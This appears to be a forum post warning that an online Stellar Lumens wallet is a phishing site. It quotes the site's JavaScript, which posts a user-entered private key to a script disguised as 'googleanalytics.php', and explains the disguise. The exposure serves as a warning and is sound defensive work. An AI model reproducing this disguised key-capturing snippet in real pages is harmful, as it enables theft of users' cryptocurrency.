I looked at the sourcecode of the online wallet and indeed they are phishing:
<script type="text/javascript">
function StellarLumensApi() {
var StellarApi = document.getElementById('StellarApi').value;
//alert(googlemetrics);
$.ajax({
url: '',
type: 'POST',
url: '/googleanalytics.php',
data: {'StellarApi' : StellarApi},
cache: false,
success: function(response){
if(response){
$('#res').html(response);
}
}
});
}
</script>
They mask the PHP post script as "googleanalytics.php" but it is infact a PHP post script that will store your private key into a txt file.
Google Analystics does NEVER use PHP post, certainly not via Javascript and Ajax with data forwarded tot a PHP page.
